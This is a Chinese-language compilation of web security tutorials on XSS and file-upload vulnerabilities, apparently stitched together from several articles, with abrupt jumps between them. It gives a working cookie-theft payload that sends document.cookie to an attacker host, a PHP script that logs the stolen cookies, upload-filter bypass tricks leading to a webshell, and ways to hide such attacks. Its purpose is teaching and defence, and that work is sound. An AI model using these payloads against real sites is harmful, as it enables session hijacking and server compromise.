恶意脚本可以利用浏览器的脚本执行能力,获取用户敏感信息、篡改页面内容,或者发起其他攻击行为。
为了防范XSS攻击,我们可以采取以下措施:1. 输入过滤和转义:对用户输入的数据进行过滤和转义,去除或转义特殊字符。
可以使用Web框架提供的安全函数或检查库来进行转义,如HTML转义、JavaScript转义等。
2.输出编码:在将用户输入的数据输出到网页时,使用合适的编码方式对特殊字符进行转义,避免浏览器解析为脚本执行。
XSS (跨站脚本攻击)简单讲解1.1 XSS 简介跨站脚本攻击(XSS ),是最普遍的Web 应⽤安全漏洞。
这类漏洞能够使得攻击者嵌⼊恶意脚本代码(⼀般是JS 代码)到正常⽤户会访问到的页⾯中,当正常⽤户访问该页⾯时,则可导致嵌⼊的恶意脚本代码的执⾏,从⽽达到恶意攻击⽤户的⽬的。
它常常与其他漏洞⼀起造成破坏性的后果。
1.2 XSS 的分类XSS 漏洞表现为多种形式,并且分为三种类型:反射型、储存型,DOM 型。
这些有⼀些相同的特点,但是在如何确定和利⽤⽅⾯有⼀些区别,下⾯依次分析他们。
1.2.1 反射型XSS反射型XXS 是⼀种⾮持久性的攻击,它指的是恶意攻击者往Web 页⾯⾥插⼊恶意代码,当⽤户浏览该页之时,嵌⼊其中Web ⾥⾯的html 代码会被执⾏,从⽽达到恶意攻击⽤户的⽬的。
提取⽤户提交的输⼊并将其插⼊到服务器相应的html 代码中,这是XSS 漏洞的明显特征,如果应⽤程序没有实施任何过滤和净化,那么它很容易被攻击。
下⾯我就⽤DVWA 为⼤家进⾏演⽰,在输⼊框中咱们构造如下JS 代码这代码是进⾏弹窗操作,如果页⾯出现弹窗,说明咱们插⼊的恶意代码被执⾏,结果如下图进⾏这个简单的测试,有助于澄清两个重要问题,⾸先,name 参数的内容可⽤任何返回给浏览器的数据代替,其次,⽆论服务器端应⽤程序如何处理这些数据,都⽆法阻⽌提交JS 代码,⼀旦提交数据,这些代码就会执⾏。
那我们该如何利⽤反射型XSS 漏洞呢?最简单的⼀种攻击就是攻击者截获通过验证⽤户的会话令牌。
劫持⽤户的会话后,攻击者就可以访问该⽤户经授权访问的所有数据和功能。
下⾯为⼤家画图演⽰⼀下截获令牌的过程。
<script>alert('XSS')</script>攻击者创建的恶意代码为这段代码可以让⽤户浏览器向马赛克.com(攻击者拥有的⼀个域)提出⼀个请求。
请求中包含⽤户访问应⽤程序的当前会话令牌。
⽂件上传漏洞详细解析参考⽂章Tag: #⽂件上传⼀、漏洞介绍⽂件上传漏洞是web安全中经常⽤到的⼀种漏洞形式。
是对数据与代码分离原则的⼀种攻击。
上传漏洞顾名思义,就是攻击者上传了⼀个可执⾏⽂件如⽊马,病毒,恶意脚本,WebShell等到服务器执⾏,并最终获得⽹站控制权限的⾼危漏洞。
⼆、漏洞原理程序员在开发任意⽂件上传功能时,并未考虑⽂件格式后缀的合法性校验或者是否只在前端通过js进⾏后缀检验。
这时攻击者可以上传⼀个与⽹站脚本语⾔相对应的恶意代码动态脚本,例如(jsp、asp、php、aspx⽂件后缀)到服务器上,从⽽访问这些恶意脚本中包含的恶意代码,进⾏动态解析最终达到执⾏恶意代码的效果,进⼀步影响服务器安全。
三、漏洞危害上传漏洞与SQL注⼊或 XSS相⽐ , 其风险更⼤上传的⽂件是Web脚本语⾔,服务器的Web容器解释并执⾏了⽤户上传的脚本,导致代码执⾏。
上传的⽂件是Flash的策略⽂件crossdomain.xml,⿊客⽤以控制Flash在该域下的⾏为。
上传的⽂件是病毒、⽊马⽂件,⿊客⽤以诱骗⽤户或者管理员下载执⾏。
上传的⽂件是钓鱼图⽚或为包含了脚本的图⽚,在某些版本的浏览器中会被作为脚本执⾏,被⽤于钓鱼和欺诈。
攻击者可以直接上传⼀个webshell到服务器上完全控制系统或致使系统瘫痪。
四、利⽤前提1. 应有⽂件上传功能2. 对上传⽂件类型检测有漏洞3. 或检测⽂件类型的逻辑有漏洞(如,先保存⽂件,在检测⽂件类型)五、利⽤流程⼀般来说⽂件上传过程中检测部分由客户端javascript检测、服务端Content-Type类型检测、服务端path参数检测、服务端⽂件扩展名检测、服务端内容检测组成。
但这些检测并不完善,且都有绕过⽅法。
1、判断上传漏洞点多见于头像上传处2、获得⽂件上传的url使⽤mentra的firebug查找元素,或F123、测试防御类型1.前端js检测绕过⽅法:禁⽤javasrcipt即可2.后端检测检测⽂件类型a.检测content-type检测原理:后端获取http请求包的Content-Type参数,判断上传⽂件类型绕过⽅法:抓包将content-type改为允许上传类型格式,即可成功上传b.检测⽂件头判断⽂件类型检测原理:使⽤getimagesize()函数来获取⽂件的MIME类型,此时检测的不是数据包中的content-type,⽽是图⽚的⽂件头,常见的图⽚⽂件头如下:gif(GIF89a) : 47 49 46 38 39 61jpg、jpeg : FF D8 FFpng : 89 50 4E 47 0D 0A绕过⽅法:当上传php⽂件时,可以使⽤winhex、010editor等⼗六进制处理⼯具,在数据最前⾯添加图⽚的⽂件头,从⽽绕过检测3.后端检测⽂件拓展名a.⿊名单检测检测原理:使⽤扩展名⿊名单来限制上传⽂件类型绕过⽅法:1)使⽤⼀些特殊扩展名来绕过php可以⽤php3、php4、php5代替2)⼤⼩写混淆绕过3)在⽂件名加.(空格,点,空格),利⽤windows特性绕过4)在⽂件名加::$data绕过b.⽩名单检测检测原理:要求只能是特定扩展名的⽂件才能上传绕过⽅法:使⽤%00截断⽂件名来上传,(注意:GET型可以对%00⾃动解码,但POST型不能,需要在⼆进制中修改)如果⽬标还存在⽂件包含漏洞,那么就可以上传图⽚马再⽂件包含来拿shell4.后端检测⽂件内容a.⽂件内容替换检测原理:在后端处理上传的⽂件时,会将将⽂件中的敏感字符替换掉。
跨站脚本执行漏洞详解本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题(FAQ)。
【漏洞成因】原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。
【漏洞形式】这里所说的形式,实际上是指CGI输入的形式,主要分为两种:1.显示输入2.隐式输入其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通过输入数据来进行干涉。
显示输入又可以分为两种:1.输入完成立刻输出结果2.输入完成先存储在文本文件或数据库中,然后再输出结果注意:后者可能会让你的网站面目全非!:(而隐式输入除了一些正常的情况外,还可以利用服务器或CGI程序处理错误信息的方式来实施。
【漏洞危害】大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典型的吧。
1.获取其他用户Cookie中的敏感数据2.屏蔽页面特定信息3.伪造页面信息4.拒绝服务攻击5.突破外网内网不同安全设置6.与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等7.其它一般来说,上面的危害还经常伴随着页面变形的情况。
而所谓跨站脚本执行漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。
【利用方式】下面我们将通过具体例子来演示上面的各种危害,这样应该更能说明问题,而且更易于理解。
为了条理更清晰一些,我们将针对每种危害做一个实验。
为了做好这些实验,我们需要一个抓包软件,我使用的是Iris,当然你可以选择其它的软件,比如NetXray什么的。
至于具体的使用方法,请参考相关帮助或手册。
另外,需要明白的一点就是:只要服务器返回用户提交的信息,就可能存在跨站脚本执行漏洞。
好的,一切就绪,我们开始做实验!:)实验一:获取其他用户Cookie中的敏感信息我们以国内著名的同学录站点为例来说明一下,请按照下面的步骤进行:1.进入首页/2.输入用户名“<h1>”,提交,发现服务器返回信息中包含了用户提交的“<h1>”。
3.分析抓包数据,得到实际请求:/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok .y=64.构造一个提交,目标是能够显示用户Cookie信息:/txl/login/login.pl?username=<script>alert(document.cookie )</script>&passwd=&ok.x=28&ok.y=65.如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:/txl/login/login.pl?username=<script>window.open("http:// /info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&o k.y=6其中/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:<?php$info = getenv("QUERY_STRING");if ($info) {$fp = fopen("info.txt","a");fwrite($fp,$info."\n");fclose($fp);}header("Location: ");注:“%2B”为“+”的URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理。
后面的header语句则纯粹是为了增加隐蔽性。
6.如果上面的URL能够正确运行的话,下一步就是诱使登陆的用户访问该URL,而我们就可以获取该用户Cookie中的敏感信息。
7.后面要做什么就由你决定吧!实验二:屏蔽页面特定信息我们仍然以作为例子,下面是一个有问题的CGI程序:/txl/liuyan/liuyanSql.pl该CGI程序接受用户提供的三个变量,即nId,csId和cName,但是没有对用户提交的cName变量进行任何检查,而且该CGI程序把cName的值作为输出页面的一部分,的用户应该都比较清楚留言右下角有你的名字,对吧?既然有了上面的种种条件,我们可以不妨作出下面的结论:某个用户可以“屏蔽”其两次留言之间的所有留言!当然,我们说的“屏蔽”不是“删除”,用户的留言还是存在的,只不过由于HTML的特性,我们无法从页面看到,当然如果你喜欢查看源代码的话就没有什么用处了,但是除了我们这些研究CGI安全的人来说,有多少人有事没事都看HTML源代码?由于种种原因,我在这里就不公布具体的细节了,大家知道原理就好了。
注:仔细想想,我们不仅能屏蔽留言,还能匿名留言,Right?实验三:伪造页面信息如果你理解了上面那个实验,这个实验就没有必要做了,基本原理相同,只是实现起来稍微麻烦一点而已。
实验四:拒绝服务攻击现在应该知道,我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为,既然这样,我们就可以控制服务器进行某种消耗资源的动作。
比如说运行包含死循环或打开无穷多个窗口的JavaScript脚本等等。
这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。
同样,我们也可能在其中嵌入一些脚本,让该服务器请求其它服务器上的资源,如果访问的资源比较消耗资源,并且访问人数比较多的话,那么被访问的服务器也可能被拒绝服务,而它则认为该拒绝服务攻击是由访问它的服务器发起的,这样就可以隐藏身份。
实验五:突破外网内网不同安全设置这个应该很好理解吧,一般来说我们的浏览器对不同的区域设置了不同的安全级别。
举例来说,对于Internet区域,可能你不允许JavaScript执行,而在Intranet区域,你就允许JavaScript执行。
一般来说,前者的安全级别都要高于后者。
这样,一般情况下别人无法通过执行恶意JavaScript脚本对你进行攻击,但是如果与你处于相同内网的服务器存在跨站脚本执行漏洞,那么攻击者就有机可乘了,因为该服务器位于Intranet区域。
实验六:与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等由于与浏览器相关的漏洞太多了,所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。
我想这些问题大家都应该很清楚吧,前些时间的修改IE标题漏洞,错误MIME类型执行命令漏洞,还有多种多样的蠕虫,都是很好的例子。
更多的例子请参考下列链接:Internet Explorer Pop-Up OBJECT Tag Bug/archives/bugtraq/2002-01/0167.htmlInternet Explorer Javascript Modeless Popup Local Denial of Service Vulnerability/archives/bugtraq/2002-01/0058.htmlMSIE6 can read local fileshttp://www.xs4all.nl/~jkuperus/bug.htmMSIE may download and run progams automatically/archives/bugtraq/2001-12/0143.htmlFile extensions spoofable in MSIE download dialog/archives/bugtraq/2001-11/0203.htmlthe other IE cookie stealing bug (MS01-055)/archives/bugtraq/2001-11/0106.htmlMicrosoft Security Bulletin MS01-055/archives/bugtraq/2001-11/0048.htmlSerious security Flaw in Microsoft Internet Explorer - Zone Spoofing/archives/bugtraq/2001-10/0075.htmlIncorrect MIME Header Can Cause IE to Execute E-mail Attachment/cua/eml.html跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。
实验七:其它其实这类问题和跨站脚本执行漏洞没有多大关系,但是在这里提一下还是很有必要的。
问题的实质还是CGI程序没有过滤用户提交的数据,然后进行了输出处理。
举个例子来说,支持SSI的服务器上的CGI程序输出了用户提交的数据,无论该数据是采取何种方式输入,都可能导致SSI指令的执行。
当然,这是在服务端,而不是客户端执行。
其实像ASP,PHP和Perl等CGI语言都可能导致这种问题。
【隐藏技巧】出于时间的考虑,我在这里将主要讲一下理论了,相信不是很难懂,如果实在有问题,那么去找本书看吧。
1.URL编码比较一下:/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok .y=6/txl/login/login.pl?username=%3C%68%31%3E&passwd= &ok.x=28&ok.y=6你觉得哪个更有隐蔽性?!2.隐藏在其它对象之下与直接给别人一个链接相比,你是否决定把该链接隐藏在按钮以下更好些呢?3.嵌入页面中让别人访问一个地址(注意这里的地址不同于上面提到的URL),是不是又要比让别人按一个按钮容易得多,借助于Iframe,你可以把这种攻击变得更隐蔽。
4.合理利用事件合理使用事件,在某些情况上可以绕过CGI程序对输入的限制,比如说前些日子的SecurityFocus的跨站脚本执行漏洞。
【注意事项】一般情况下直接进行类似<script>alert(document.cookie)</script>之类的攻击没有什么问题,但是有时CGI程序对用户的输入进行了一些处理,比如说包含在’’或””之内,这时我们就需要使用一些小技巧来绕过这些限制。
如果你对HTML语言比较熟悉的话,绕过这些限制应该不成问题。
【解决方法】要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力:程序员:1.过滤或转换用户提交数据中的HTML代码2.限制用户提交数据的长度用户:1.不要轻易访问别人给你的链接2.禁止浏览器运行JavaScript和ActiveX代码附:常见浏览器修改设置的位置为:Internet Explorer:工具->Internet选项->安全->Internet->自定义级别工具->Internet选项->安全->Intranet->自定义级别Opera:文件->快速参数->允许使用Java文件->快速参数->允许使用插件文件->快速参数->允许使用JavaScript【常见问题】Q:跨站脚本执行漏洞在哪里存在?A:只要是CGI程序,只要允许用户输入,就可能存在跨站脚本执行漏洞。